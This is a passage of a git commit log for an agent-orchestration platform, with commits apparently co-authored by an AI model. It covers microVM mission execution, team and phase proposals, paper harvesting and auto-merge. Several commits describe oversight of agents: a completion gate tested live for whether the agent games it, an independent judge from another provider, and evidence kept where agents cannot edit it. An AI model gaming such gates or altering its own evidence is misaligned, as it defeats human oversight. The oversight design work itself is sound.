Omar SobhandClaude Opus 5 a33dbdcdc3 feat(missions): W1/#13 — let a model author the mission's phases
The last unstarted item from the missions-as-workflows plan, and the other half
of Slice 5: that one lets a model size the TEAM, this lets it decide what the
work IS.

Every mission's phases come from one of five hand-written recipes in
`templates/workflows/*.toml`, chosen by `template_kind` before anyone saw the
mission. That is the "do it this way: 1, 2, 3" over-specification that makes a
capable model follow a worse plan than it would have chosen. The recipes stay —
they are still the default for a mission nobody proposes a plan for, and the
fallback when a proposal is refused.

Same three verbs and the same review gate as the roster, deliberately: propose
and decide are separate because only the second changes a mission, and a second
shape would be a second thing to get right. Approving REPLACES the phases (a
plan is an answer to "what is this mission", not an addition to one), draft-only.

GROUNDED IN WHAT THE PLATFORM ACTUALLY READS, which is the part that makes this
more than a copy. `phase_config::KNOWN_KEYS` already names every phase-config key
and the code that reads it — the registry built after `task` sat unread through
every mission. A plan is validated against it, so a model cannot propose a phase
whose settings nothing will act on: the failure that registry exists to EXPOSE is
one this path cannot create. Phase kinds are checked the same way, because an
unknown kind does not error — it falls through to the catch-all purpose and runs
as a generic phase that looks like it worked.

TWO THINGS THE WORK ITSELF FOUND, both the same shape:

  - `done_when_check` — the stop-gate key added earlier today — was never
    registered in `phase_config`, so every mission that set it has been logging
    it as an unknown key. Found by a test written for a different purpose, which
    is the registry doing exactly its job. Now registered with its reader.
  - `done_when` and `max_iterations` are COLUMNS promoted out of config by
    `missions::create`; the evaluator sweep filters on the column in SQL every
    tick. My first insert wrote the config blob alone, which would have stored a
    plan's completion condition where nothing judges it. NEGATIVE CONTROL run:
    binding NULL instead of the promoted value fails
    `an_approved_plan_replaces_the_missions_phases`.

`order_idx` comes from the array's own order rather than a field the model sets:
two sources for one fact is how a plan ends up with two phase 0s, and order_idx
is what `start_pending_phases` sequences on.

MAX_PHASES is 4 and the prompt argues for one. Each phase is a full agent run in
sequence, and splitting one change into plan → implement → test is the documented
anti-pattern — a single agent doing all three keeps the context that makes the
later steps good.

543 tests pass, clippy clean. Migration 0072.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-06 20:05:28 -07:00
Omar SobhandClaude Opus 5 1797669296 feat(missions): Slice 5 — let a model size the mission's team
`routes/planner.rs` has had Opus proposing rosters since the Master Planner
shipped, and none of it ever reached a mission: the proposal lived in React state
and died with the tab. A mission's shape came from a team template instead —
fixed roles, and every claw minted `claude-sonnet-5` from a literal in
`mint_team_from_template`. That literal is why no mission has ever run more than
one provider.

A roster is `(topology_kind, [(role, backend)])`, which is exactly what the
composed executor already consumes: `Roster::graph` builds a `TopologyGraph` with
the backend in `attrs`, and `MicroVmTurnExecutor` reads `attrs["backend"]` per
node. So a verifier on another provider's rootfs stops being a bolt-on and
becomes a graph node — the correlated-failure break the independent judge exists
for, one layer down.

Three verbs, and the split is the point. **suggest** asks the model and persists
the answer, changing nothing. **decide** approves (writes `config.roster` and
switches the mission to the composed engine) or rejects. A proposal is never
applied on arrival: a model sizing a team is a suggestion about how many VMs to
boot, and this codebase treats model output that costs money as evidence for a
decision, not the decision.

Fail-closed at every seam, because each of these otherwise surfaces much later
and much more expensively:

  - a backend no ONLINE node can boot is refused when PROPOSED, naming the ones
    the fleet actually has. Placement would refuse it too — at launch, after the
    roster was approved and someone believed the mission would run. The model is
    handed that same list in its prompt, so the usual case never arises.
  - an invented `topology_kind` is refused, not defaulted. `parse_topology_kind`
    defaults to hub-spoke, which is right for a template we wrote and wrong for a
    string a model just produced: running a `pipeline` proposal as a hub-and-spoke
    changes what every node sees and nothing would say so.
  - the roster is validated BEFORE it is stored, so a stored proposal is always
    one that could be approved; and again at approval, against the fleet as it is
    then — a node can go offline in between.
  - `MAX_MEMBERS = 6`. Each member is a whole VM, not a subagent, and a model
    asked to size a team proposes twelve happily.

Two properties live in SQL rather than in the handler: at most one approved
roster per mission (partial unique index — two approved rosters are two answers
to "what shape is this mission", and the executor reads one field), and
decide-once (`WHERE status = 'proposed'`, so a double-clicked approve claims
nothing the second time). Both tested against a real database, including that the
second approval is refused by Postgres rather than merely losing a race.

NEGATIVE CONTROL, run rather than assumed: with the roster preference removed
from `composed_graph`, `an_approved_roster_outranks_the_template` FAILS — 3 nodes
from the template instead of the roster's 2. A stored roster that is silently
ignored at launch is precisely the shape this project keeps paying for.

Not closed: per-role models for CLAWS. `template_roles` has no model column, so a
ZeroClaw team still mints one model for every role. The literal is now a named
constant that says so and points at the roster path, rather than sitting inline
where nobody reads it.

527 tests pass, clippy clean. Migration 0070. Not yet exercised against the
deployed stack — the route has never been called with a live model.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-06 16:25:34 -07:00
Omar SobhandClaude Opus 5 6991e21f94 feat(missions): the completion gate, moved into the agent's own loop
Every check this platform makes on a phase runs AFTER the agent has stopped: the
evaluator judges `done_when`, capture notices a coding phase delivered nothing,
and either verdict costs a whole new VM — a fresh boot, a fresh inject, and an
agent starting over with none of the context that got it that far. Meanwhile the
documented failure mode of a long-running agent is that it stops too early.

MEASURED FIRST, because the plan's chosen seam does not exist here. Probing every
hook name under `claude -p` (2.1.222, hermetic `--settings` file): `SessionStart`,
`UserPromptSubmit`, `PreToolUse`, `PostToolUse`, `SubagentStop` and `Stop` fire;
`TaskCreated`, `TaskCompleted`, `TeammateIdle`, `SessionEnd`, `Notification` and
`PreCompact` do not. The agent-teams hooks Slice 3 deferred are inert on our path
BY CONSTRUCTION — no team forms in print mode at all — so `done_when` could never
have been wired through `TaskCompleted` exit 2. `Stop` is the seam.

`vm_stop_gate` generates a POSIX `sh` hook installed via `--settings`, under
`/root/gate` and never under `/mission/repo` (anything there is collected and
arrives in the user's delivered patch). It refuses a stop when:

  - the phase must deliver and the repository is untouched — asked as TWO
    questions, since an agent that committed leaves a clean tree and an agent
    that did not leaves HEAD alone; only both together mean nothing happened;
  - `config.done_when_check` — a command the phase author wrote — exits nonzero,
    in which case its OUTPUT is the feedback, not just "the check failed".

Deliberately mechanical. NOT the `done_when` verdict: that is an LLM judgement
made host-side by a different provider on purpose, and re-running it inside the
VM would put the agent's own environment in charge of grading the agent — the
correlated failure the independent judge exists to break.

THE CAP IS LOAD-BEARING. Without a ceiling a stuck agent is blocked, retries, is
blocked again, and burns the hour-long turn budget instead of failing visibly.
After 3 blocks the gate lets it stop, records that it gave up, and leaves the
verdict to the existing post-hoc path, which is unchanged.

PROVEN AGAINST A LIVE AGENT with the REAL generated artifacts, not a paraphrase:

  - a read-only task → blocked 3 times with our exact message, released at
    exactly the cap, and the agent took the escape hatch the message offers
    ("if the task genuinely requires no code change, say so explicitly") rather
    than touching a file to satisfy the gate. It did not Goodhart it.
  - a task that needs an edit → `blocks: 0`, log says `pass`. No false positives.

Two things that could fail silently, both closed. `--settings` is PROBED in the
image before use (`claude --help | grep`), because an unknown option is a hard
CLI error that would turn every gated phase into a failed one; a build without
it degrades to ungated and says so, since losing a check is better than losing
the work. And `stop_blocks` is reported out of the guest — `None` for no gate,
`0` for got-it-right-first-time — so a gate that never fires is distinguishable
from one that was never installed.

`require_changes` does NOT apply per node on a composed run: a graph's verifier
node is SUPPOSED to leave the tree alone, and a per-node gate would refuse its
stop three times for doing its job. `StopGate::per_node` drops it and keeps the
declared check. The phase-level rule still runs post-hoc against what the last
node collected.

An ungated phase's command is byte-identical to before, asserted by test — most
phases are gated, so the ungated path is the one nobody would notice breaking.

517 tests pass, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-06 15:03:47 -07:00
Omar SobhandClaude Opus 5 12147a1e01 feat(missions): Slice 4 — the two engines composed, with the file handoff proven
`team_engine='composed'` (the third name migration 0069 anticipated) runs a
mission as a durable ZeroClaw graph whose every node is a whole
Claude-Code-in-a-microVM session. Engine Z owns checkpoint/resume, cancellation
and per-node heterogeneity; Engine C owns shared context and cheap fan-out;
neither has the other's asset, which is why this is a composition and not a
compromise.

`MicroVmTurnExecutor` implements the existing `TurnExecutor`, so it inherits the
planners, the checkpoint, the stale-run recovery, `close_finished_phases`, the
evaluator, capture and delivery unchanged — the same trick `SubTopologyExecutor`
already plays with a heavy `run_turn`. Producer side emits ONE `queued` row
carrying the real graph and lets the worker claim it: the durability IS being
worker-driven, and the solo path's `tokio::spawn` has none of it. Still exactly
one `topology_runs` row per unit of work and one completion path — `finish()` is
now that one place, shared by every tier.

THE TRAP, solved and proven. A VM is inject → run → collect → destroy, so a
per-node VM with text-only handoff silently loses every file an earlier node
wrote: node 2 boots from the original checkout, sees nothing, and still reports
success. The mission's host checkout is the medium — every node injects from it
and collects back over it — and two properties make that safe rather than lucky:
`execute_resumable` is strictly sequential, so two VMs never write one directory;
and the vm id is deterministic per (phase, iteration, step), so a duplicate is
refused by the node ("vm already exists") instead of becoming a second writer.

NEGATIVE CONTROL, run rather than assumed: with `repo` swapped for a private
per-node workspace, `a_later_node_sees_an_earlier_nodes_files` FAILS with
`saw:[]`; restored, it passes. The `PhaseVm` seam exists for exactly this — it
models inject/collect through the real `mission_fs` tar path in milliseconds.

Two durability traps this tier walks into, both closed:

  - `requeue_stale` fires at 180s on `updated_at`, and one node here can run for
    an hour. `SubTopologyExecutor` keeps its parent alive from each leaf step;
    there is nothing between the start and end of a VM turn, so the turn holds a
    ticker that touches `updated_at` every 30s and aborts on drop. Without it a
    healthy composed run is requeued mid-node and boots a second VM.
  - the 15-minute stuck-run reaper asks "any step records since it was CREATED?",
    which describes a healthy composed run as readily as a wedged one. Hence
    `REAPABLE_TIERS` — worker-driven minus this tier. Reaping it would be #54 in
    a different costume.

`on_launch` mints no team for a microVM mission, deliberately: claws in
containers are what a VM mission does not use. So `mission_orchestrator::
composed_graph` builds the shape from the team template directly — nodes, roles
and pattern, zero claws provisioned. Per-node `attrs["backend"]` and
`attrs["node_id"]` override the mission's, which is what makes a validator node
on another provider's image a first-class graph node; a malformed `node_id`
fails the node rather than quietly running it where the graph did not ask.

Refusals are recorded as a failed run, not returned as an error: `launch_phase`
is swept every ten seconds, so a returned error is a phase that retries forever
while the log repeats itself.

501 tests pass, clippy clean. NOT yet proven end to end: no composed mission has
run on the fleet, so the resume-after-a-killed-worker leg is argued from the DB
test and the step-numbering test, not from a real two-node run.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-06 13:00:44 -07:00
Omar SobhandClaude Opus 5 4f07430e92 feat(missions): B4.5 — phase_runner runs a microvm mission in a VM
`runtime_kind='microvm'` placed a mission on a KVM-capable node and then nothing
executed it: config accepted without a reader, one of the four seams this project
keeps closing. This is the reader.

`microvm_executor` — inject → run → collect → destroy, the shape copy mode
already proved for containers with a VM boundary instead of a namespace one. The
checkout goes in as a tar, the work comes back as a tar over the SAME host path,
so `mission_delivery::capture_phase_diff_at` needs no change at all.

The agent is told NOT to push, unlike the container path's session prompt. Two
reasons: delivery is already host-side and diffs the collected tree against the
recorded clone point (covering committed, staged and unstaged work in one pass),
so pushing would add a second untested way for work to arrive; and pushing would
mean forge credentials inside the VM, when the point of collecting is that the
guest never holds them.

Exactly ONE topology_runs row (tier='microvm'), mirroring launch_direct_session:
close_finished_phases, evaluation, capture and delivery all key off those rows,
and a second completion path would be a second way for a phase to finish with one
of them untested. The row and the phase flip happen BEFORE any fallible VM work,
so a missing token or a node that lost its capability shows up as a failed run an
operator can see — not a phase that stays pending and retries every ten seconds.

Fail-closed points, each the reader for a guarantee built earlier:
  - credentials resolve BEFORE the VM boots, so a missing subscription token
    fails the phase instead of booting a VM whose agent sits unauthenticated
  - a VM reporting egress:false is REFUSED, which is what makes create's
    egress/egress_host/egress_guest fields more than decoration — a turn without
    egress does not fail, it hangs
  - the injected checkout is PROVEN present in the guest before an agent turn is
    spent on it; an inject that reports success while landing nothing would
    otherwise become an agent reporting an empty repository
  - work is collected even when the agent exits non-zero — a turn that failed
    partway still wrote files, and a retry needs to see them
  - a turn that ran but could not be collected is a FAILED phase, not a happy one
  - destroy runs on every exit path, or an 8 GB sparse rootfs leaks

Two integration gaps found while wiring, both of which would have produced a
mission that completed having delivered nothing:
  - `capture_finished_coding_phases` pulls work out of a CONTAINER before
    capturing. A microvm mission has none, so the docker connect would fail, the
    loop would `continue`, and capture would be skipped forever while the phase
    sat marked completed. Its work is already collected by the executor.
  - `launch_phase` provisioned a runtime container, copied the checkout into it
    and wrote a runtime binding + pairing code describing a runtime nothing uses;
    and the orchestrator's workspace pin — deliberately FATAL — would have failed
    a microVM launch on a container it was never going to use.

461 tests pass, clippy clean.

NOT YET PROVEN END TO END: no mission has run through this path. The pieces under
it are each verified on tank (image, credentials, egress, a real agent turn), but
this executor has only been compiled and unit-tested. Deploy + one real microvm
mission is the remaining step.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-05 15:57:43 -07:00
Omar SobhandClaude Opus 5 02ba557c3e feat(fleet): B3 — server-side microVM client over NodeHub
cm_api::microvm_client::MicroVm wraps the node's vm_* ops as typed calls
over the existing hub request/response channel: create / inject / exec /
collect / destroy, plus list() for reaping. No new transport.

Fixes a wire-contract mismatch B2 would have shipped. `Uplink::Result`
declares `output: String`, but the node's vm_* handler returned a JSON
object. The frame then failed to deserialize and hit the uplink match's
`Err(_) => {}` arm, so the reply VANISHED and every vm_* call would have
timed out after 20s with nothing anywhere explaining why. The node now
sends a string, matching the contract rather than what looked tidier.

That silent arm is fixed too: an unparseable frame now logs the node, the
parse error and the frame head, and says explicitly that the request it
was answering will time out. It is the arm that would have hidden this.

Two more places where a failure must not borrow a legitimate outcome's
representation:

  - vm_exec returning no `rc` is an error, not a zero. A missing exit code
    means the guest did not report one; reading it as success is how a
    failed command becomes a passing phase.
  - vm_collect on a missing path is an error, not an empty archive — an
    empty tar looks exactly like a run that produced nothing.

Timeouts: the hub's deadline is the guest's plus 30s, saturating. A
caller passing a huge budget would otherwise wrap to a tiny timeout and
turn a long agent turn into a spurious transport failure. clippy caught
the tautological assertion in the first version of that test, which is
what surfaced the overflow.

Verified: `--vm-selftest` on tank still 8/8 after the output-type change
(create 950ms), 427 tests green.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-05 07:59:13 -07:00
Omar SobhandClaude Opus 5 389b41f8e6 feat(missions): copy-in/copy-out primitive for the mission checkout
The first half of removing the shared bind mount. Not wired yet — this
adds the mechanism and its tests.

One cause, four fixes so far: .git/objects permission denied
(core.sharedRepository), the capture base being overwritten each phase,
COMMIT_EDITMSG root-owned, and reset --hard deleting a prior phase's work
(.git/clawmates-in-use). core.sharedRepository was never a general
solution — it covers objects and refs, and every OTHER file git touches
is a fresh opportunity. Copy-in/copy-out removes the cause instead: the
agent owns its filesystem with no second writer.

Measured before building, because the plan named copy cost as the open
risk: a real 65 MB checkout of this repo copies in 0.23s and out 0.18s on
gw-04. Not a risk at this size; re-measure an order of magnitude larger.
No compression — the payload crosses a local socket, so gzip would spend
CPU to save nothing.

Two safety properties, both tested:

- The archive comes back from a container the agent controls as ROOT, so
  it is untrusted input. A `../ESCAPED` entry must not write outside the
  destination. The test writes the tar header bytes by hand because the
  tar crate refuses to BUILD such an entry through its safe API — which
  is reassuring, but means the hostile case has to be constructed the way
  an attacker would.
- Symlinks are packed as links, never dereferenced. Following them on
  copy-IN would smuggle host files into the container; the test plants a
  host secret behind a symlink and asserts its contents never appear in
  the archive.

Ownership is deliberately not preserved on unpack: the archive's uids are
the container's root, and re-applying them on the host would recreate the
exact uid split this exists to remove.

413 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 15:15:22 -07:00
Omar SobhandClaude Opus 5 37fac288d2 feat(missions): bring the direct session executor onto a live branch
Rescues session_executor from the stranded spike branch. Multi-provider
missions are not needed for now, so the direct path is worth nailing down:
run a mission as one `claude -p` session against its checkout instead of
routing turns through ZeroClaw.

Measured today against a real checkout in the runtime container, using the
executor's exact argv:

  direct `claude -p`   7s, file written
  via ZeroClaw         minutes per turn, and THREE config failures before
                       it worked at all (no credential in the mission
                       container; Write/Edit denied; no tools granted --
                       the last of which COMPLETED a mission having
                       written nothing)

Each of those failures came from the same root: with claude_cli, ZeroClaw
is a WebSocket-to-subprocess adapter whose own controls (risk profiles,
tool gating, memory) do not reach the subprocess. The adapter adds
failure modes without adding governance.

What ZeroClaw still earns for the rest of the platform is unchanged and
not in question here: interactive chat, the brain, A2A and door identity,
terminal, agent routines, and non-Claude providers.

Not yet wired into phase_runner — this commit only makes the executor
reachable and keeps it building. SessionOutcome::delivered() still
requires a clean exit AND an observed branch, because a 0-exit session
that pushed nothing was measured at ~5%.

405 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 21:26:48 -07:00
Omar SobhandClaude Opus 5 9de2cf34e4 feat(auto-merge): merge additive branches, refuse everything else
ci / gates (push) Failing after 10s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Closes the branch pile-up: a catalogue branch that only adds notes now
merges into main by itself, so the work is actually in the vault rather
than waiting in a branch nobody opened.

Additive-only is measured from the diff, not assumed from the mission
type. Three conditions, all required: the type declares additive_only,
the run verified, and `git diff --name-status base...branch` contains
only A entries. A research harvest that somehow rewrote a hand-written
note is refused by the same check that lets its new notes through —
which is the case the test pins down, asserting README.md on main is
byte-identical afterwards.

Renames and deletes count as non-additive. A rename is a delete plus an
add and the delete half can destroy hand-written work.

Unknown merge_policy values fail closed to Never. A typo must not grant
auto-merge.

The diff is taken against FETCH_HEAD, freshly fetched, using `...` so an
unrelated commit landing on main meanwhile is not misread as ours. A
conflicted merge aborts and leaves the branch for a human rather than
wedging the checkout for the next run.

merge_reason is always populated and surfaced in the API: a branch that
quietly did not merge is indistinguishable from one never delivered.

399 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 11:33:41 -07:00
Omar SobhandClaude Opus 5 107f0dbced feat(library): expose the library over the API
POST /api/library/runs harvests now; GET /api/library/items lists what
the library holds. Thin wrappers — the work stays in crate::library — so
a run can be started by a person, a schedule or the UI rather than only
from an integration test.

The response reports `healthy` explicitly rather than leaving a caller to
infer it from an empty `shelved` list. A quiet week and a broken run both
shelve zero papers, and collapsing those two is the exact ambiguity that
cost most of this week.

Failure reasons go to the log, not the response body: they can carry the
remote URL and raw git stderr.

AppState gains an optional blob store (the shelf), wired from the server
binary where storage is already constructed. Optional because AppState::new
is used by tests that never touch blobs; a route that needs it fails
loudly rather than the constructor demanding it everywhere.

393 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 10:21:00 -07:00
Omar SobhandClaude Opus 5 09c6496725 feat(library): clone the vault, harvest our topics, push the catalogue
Completes the loop: the notes now land in the real vault. Topics come
from what the project is actually working on — papers/dynamic-agentic-
topologies.md (topology search, ADAS/Darwin-Godel/SwarmAgentic) plus the
two problems this week ran into, verifying what an agent did and giving
a long-running agent memory of what it covered.

Never pushes to main. The vault is a live Obsidian vault a human edits
and syncs; pushing to main races that sync and can lose hand-written
work. Every run lands on its own branch for a human to merge, the same
rule the mission delivery path was validated 20/20 under.

PDFs are NOT committed. A few hundred papers is gigabytes and would make
the vault painful to clone and slow to open, so they stay on the blob
store shelf and the note carries the key.

My own test caught me repeating this week's branch-collision bug: I named
branches from the HEAD of a UUIDv7, which is a 48-bit timestamp, so two
runs in the same millisecond produce the identical name — exactly what
hit mission 019fc42b. Fixed by taking the tail. The test now loops 100
ids instead of sampling two (a one-shot check passes by luck whenever the
millisecond ticks between calls) and additionally asserts the head-based
scheme DOES collide, so it cannot rot into a no-op.

Live against the real vault:
  10 candidates, 1 already held, 9 shelved, 0 failed
  branch clawmates/library-019fc82292e8, pushed
  9 notes verified on the forge, 9 PDFs verified %PDF on the shelf
  (the "1 already held" is cross-topic dedupe inside a single run)

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 08:03:14 -07:00
Omar SobhandClaude Opus 5 30eaa50c50 feat(harvest): one run — find, skip what we hold, shelve the rest
Turns the parts into a job. Order is the point: the checkmark list is
consulted BEFORE anything downloads. Checking afterwards would still
dedupe the catalogue while re-downloading every paper we already have,
every week, forever.

Two properties the tests pin down, both learned the hard way this week:

- A quiet week is not a failure. `shelved == 0` with no errors is a
  healthy run against a mature library; `shelved == 0` with errors is
  broken. Harvest::healthy() and ::added_anything() keep those apart
  rather than collapsing them into one ambiguous "did nothing".
- A failed download leaves the paper UNSEEN. Checking it off before the
  PDF is safely shelved would mean one transient network error retires
  that paper permanently. The checkmark is written last, after the bytes
  and the note are both on disk.

The skip test gives every candidate a pdf_url pointing at a closed port,
so if the skip ever regresses the test fails loudly instead of quietly
re-fetching.

Live end-to-end against arXiv, run twice:
  RUN1  3 candidates, 0 already held, 3 shelved, 0 failed
  RUN2  3 candidates, 3 already held, 0 shelved, 0 failed

Library<'_> groups the five values that always describe one library;
passing them loose is how a run shelves into one place and catalogues
into another (also silences clippy::too_many_arguments honestly rather
than by allow).

391 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 07:53:56 -07:00
Omar SobhandClaude Opus 5 e4a395b72e feat(papers): find papers on arXiv, shelve the PDF, catalogue the note
Corrects a misread of the design. I had built this as "read the vault to
find papers"; the vault is the CARD CATALOGUE, not the source. Papers are
found on arXiv, the PDF is pulled down and shelved in our own library,
and a note recording it goes in the vault.

Three parts, and which is which matters:
  arXiv       — where papers are found
  blob store  — the shelf; the PDF lives there (cm-files, local + S3)
  the vault   — the catalogue; one note per paper, pointing at the shelf

The checkmark list (corpus, 0064) is what makes this continuous rather
than a job that redoes itself every week — the failure that killed the
previous attempt (0030-0044, dropped in 0053).

The load-bearing detail: every catalogue note carries
`source_id: arxiv:NNNN.NNNNN` in frontmatter, which is exactly the key
corpus::parse_note reads. So the checkmark list is rebuildable FROM the
vault. If the database were lost, re-indexing restores what we have —
the catalogue is authoritative, the index is derived. A test asserts that
round trip rather than trusting the two halves to agree.

Version suffixes are stripped (2401.12345v3 -> 2401.12345) or a weekly
job re-downloads a paper every time authors post a revision. Fetches are
rejected unless the bytes start with %PDF: arXiv serves an HTML holding
page while a PDF renders, and shelving that leaves a file that looks
present and is unreadable.

Verified against live arXiv, not fixtures:
  arxiv:2607.29678 TokTier: Exact Stateful Tokenization for Agentic LLM…
  arxiv:2607.29677 ExtractBench: A Benchmark for Schema-Guided Enterpri…
  arxiv:2607.29658 Reusing Past Repairs Through Hierarchical Trajectory…
  pdf: 1,361,770 bytes, %PDF verified

388 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 07:38:07 -07:00
Omar SobhandClaude Opus 5 6e5ccc25a6 feat(corpus): record what a continuous mission has already covered
Slice 2 of the adopt-or-build plan. A recurring mission's hard problem is
not running the agent — that is 23 seconds — it is knowing what it did
last time. This repository already tried continuous research once:
migrations 0030-0044 built research_topics/loops, 0053 dropped them all,
and the reason they could not survive is that research_topics carried a
status lifecycle but no seen-set. It could run forever and never know
what it had covered.

Two kinds of row, because the real vault forced it. The plan assumed
notes carry arxiv:/doi:/url: frontmatter. Measured against the actual
valhalla-vault: 416 notes, 145 with frontmatter, and ZERO with any of
those keys — the dominant keys are repo-sync metadata (node, org, gitea)
and course fields (presenter, session). An ingester keyed only on
external identity would have indexed nothing, which is the same shape of
failure as everything else found this week. So `note` rows record
coverage (keyed by path) and `source` rows record consumption (keyed by
natural id); a continuous mission needs both.

Two decisions the data forced:

- `source:` is deliberately NOT an identity key. The vault uses it for
  local paths of course material (/Users/quantum/Downloads/...), which is
  provenance, not citable identity. Accepting it would fill the seen-set
  with 25 rows keyed on a laptop path.
- The hash covers the body, not the whole file. Repo-sync notes rewrite
  updated:/size_kb: on every sync without the prose changing; hashing the
  file would report 103 phantom edits per run and make "unchanged"
  meaningless.

Authoritative in Postgres rather than ZeroClaw memory, per the Slice 1
spike: memory is agent-scoped and mission agents are ephemeral
claw_<uuid> aliases (~100 already present). A seen-set that disappears
with the agent that wrote it is not a seen-set. The spike did find that
POST /api/memory upserts by key, so mirroring content there later would
inherit idempotence for free if keyed by source_id.

Verified against the live 416-note vault, not a fixture:
  PASS1 { scanned: 416, inserted: 416, updated: 0, unchanged: 0 }
  PASS2 { scanned: 416, inserted: 0,   updated: 0, unchanged: 416 }

382 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 07:00:21 -07:00
Omar SobhandClaude Opus 5 ec85f6c8da fix(missions): close the three seams behind this run of failures
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Seam 1 — delivery inferred checkout state from the tree, so whether work
survived depended on what the agent happened to do. 019fc444 committed
and left a clean tree; 019fc476 had its base advanced to match HEAD;
019fc450 survived only because a phase FAILED to commit and left the tree
dirty. Same code, opposite outcomes, decided by the agent.

mark_phase_started records the fact at phase launch, before the agent
acts, so every one of those states answers identically. The tree checks
remain as a second line of defence for pre-existing checkouts.

Seam 2 — phase config was accepted, stored and read by nobody. That was
`task`: every phase of every mission got identical instructions. The new
phase_config registry names the reader for each live key and lists the
eight that are declared-but-unimplemented, reporting both at mission
creation so an author sees what will not happen. Its CI test found one I
had missed: security_hardening.toml sets phase-level mcp_bundles asking
for gitea_forge + security_scan, but bundles come from the TEAM template
and the phase gets neither.

Seam 4 — push_url_for collapsed a failed query, an unbound repo and a
missing clone_url into one None, so a database fault was recorded as
"nothing to push to" and metadata read `pushed: null, push_error: null` —
the same ambiguity commit_error already fixed. Each case now carries its
reason into the artifact, and a local git failure during publish is
recorded rather than dropped by .ok().

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 18:58:45 -07:00
Omar SobhandClaude Opus 5 f7e336ff5f fix(missions): make an unrunnable test suite legible, and check the runtime at boot
ci / gates (push) Failing after 6s
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Two changes against the same defect: the platform could not tell a missing
capability from a legitimate negative result.

verify_tests returned Option<bool>, collapsing four outcomes into None:
no suite found, docker unreachable, exec failed, and no exit status. When
clawmates-runtime shipped without cargo, every on_green_tests phase
returned None and landed on -wip — identical to the reading for "this
repo has no tests", which is the conclusion I drew and reported. The gate
was correct throughout; it simply could not say why it was unproven.

TestOutcome now names the four cases. Gating is unchanged (only Passed
clears, unproven is never a pass), and tests_verified keeps its tri-state
meaning for existing readers. tests_status and tests_detail are new, so an
artifact distinguishes no_suite from could_not_run, and a CouldNotRun is
logged as the infrastructure fault it is rather than passing quietly.

runtime_preflight probes the runtime container at boot for every tool the
platform invokes inside it and names what each absence disables. This is
the check that was missing: the Dockerfile gained a toolchain, the image
was never built, gw-04 ran the old one for days, and the only symptoms
were an ungated suite and a security scan that scanned nothing. A report,
not a gate — a missing scanner should stop us believing a scan, not stop
the server. Its test guards the probes themselves, since a typo would
produce a permanent false "missing" and train operators to ignore it.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 17:22:47 -07:00
Omar SobhandClaude Opus 5 716ee9a304 feat(missions): capture a coding phase's diff to durable storage
First half of mission delivery: the work is captured before anything is
published. A coding mission has until now produced nothing durable — the
checkout is deleted thirty minutes after completion and `register_artifact`
had no callers at all, so the only surviving output was an LLM narrative of
what the agents said they did.

`capture_phase_diff` writes `diff.patch`, `diffstat.txt` and `delivery.json`
under `<missions_root>/_outputs/<mission>/<phase>/` and registers a
`code_diff` artifact. That directory is a *sibling* of the per-mission
directories the sweeper removes, and outside every bind mount handed to a
container — so teardown cannot take the record with it and agents cannot edit
their own evidence.

Three details that decide whether this works at all:

- `git add --intent-to-add` before diffing. Untracked files are invisible to
  `git diff`, and a phase that only *creates* files is the likeliest shape for
  generated code — silently capturing an empty patch would be the worst
  possible failure. The index is reset afterwards so capture leaves the tree
  exactly as the agents left it, which the test asserts.
- Build output is excluded by pathspec (`target`, `node_modules`, `.venv`, …).
  A phase that ran `cargo build` leaves a directory larger than the repo.
- An empty diff is still an artifact, flagged `empty: true`. "This coding
  phase wrote no code" is currently invisible to an operator and is worth
  saying out loud.

`RegisterArtifact` gains `metadata`, which the column has had since 0047 and
nothing ever wrote; the diffstat and base sha go there. No migration needed —
`kind` is unconstrained TEXT and the column already exists.

Tests run against a real `git init` repo rather than a mock: every bug in this
area so far came from git behaving differently than assumed, and a fake git
would have agreed with the assumption. `capture_phase_diff_at` takes explicit
paths so parallel tests cannot race through the process-global
CLAWMATES_MISSIONS_ROOT — the first version of these tests did exactly that
and two of four failed non-deterministically.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 22:46:15 -07:00
Omar SobhandClaude Opus 5 c812b714f4 fix(evaluator): the verification sandbox never ran a command
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.

The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.

The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.

- New `container_exec` routes execution through the Docker API via bollard,
  which was already a dependency and already reaches the daemon through the
  socket proxy. Captures the exit code (absent from the old helper) and keeps
  stdout and stderr apart (`LogOutput`'s Display merged them, which is why
  nothing downstream could tell JSON from a progress bar). `security_scan`
  parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
  success — `commit_policy = "on_green_tests"` will gate on this, and
